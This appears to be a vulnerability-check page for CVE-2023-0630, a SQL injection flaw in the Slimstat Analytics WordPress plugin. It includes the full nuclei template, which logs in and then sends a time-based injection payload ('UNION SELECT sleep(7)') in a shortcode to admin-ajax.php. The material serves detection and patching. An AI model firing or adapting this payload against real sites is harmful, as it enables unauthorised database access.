Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection

highseverity

8.8CVSS score

5.1%likelihood of exploitation, next 30 days

93%of all CVEs are less likely

Readycheck to confirm it

The Slimstat Analytics WordPress plugin before 4.9.3.3 does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database, potentially exposing sensitive information.

Fix

Fixed in version 4.9.3.3

How to confirm it

Send: POST /wp-login.php ; @timeout: 20s
Positive when: duration_2>=7 and status_code_2 == 200 and contains(content_type_2, "application/json") and contains(body_2, "audioShortcodeLibrary")

Run it with nuclei: nuclei -id CVE-2023-0630 -u <target>

The full check

id: CVE-2023-0630

info:
  name: Slimstat Analytics < 4.9.3.3 Subscriber - SQL Injection
  author: DhiyaneshDK
  severity: high
  description: |
    The Slimstat Analytics WordPress plugin before 4.9.3.3 does not prevent subscribers from rendering shortcodes that concatenates attributes directly into an SQL query.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database, potentially exposing sensitive information.
  remediation: Fixed in version 4.9.3.3
  reference:
    - https://wpscan.com/vulnerability/b82bdd02-b699-4527-86cc-d60b56ab0c55
    - https://wordpress.org/plugins/wp-slimstat
    - https://nvd.nist.gov/vuln/detail/CVE-2023-0630
    - https://github.com/nomi-sec/PoC-in-GitHub
    - https://github.com/RandomRobbieBF/CVE-2023-0630
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2023-0630
    cwe-id: CWE-89
    epss-score: 0.05141
    epss-percentile: 0.92476
    cpe: cpe:2.3:a:wp-slimstat:slimstat_analytics:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: wp-slimstat
    product: slimstat_analytics
    framework: wordpress
  tags: time-based-sqli,cve2023,cve,wpscan,wp-slimstat,wp,wp-plugin,sqli,wordpress,authenticated,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
      - |
        @timeout: 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=parse-media-shortcode&shortcode=[slimstat f="count" w="author"]WHERE:1 UNION SELECT sleep(7)-- a[/slimstat]

    matchers:
      - type: dsl
        dsl:
          - 'duration_2>=7'
          - 'status_code_2 == 200'
          - 'contains(content_type_2, "application/json")'
          - 'contains(body_2, "audioShortcodeLibrary")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from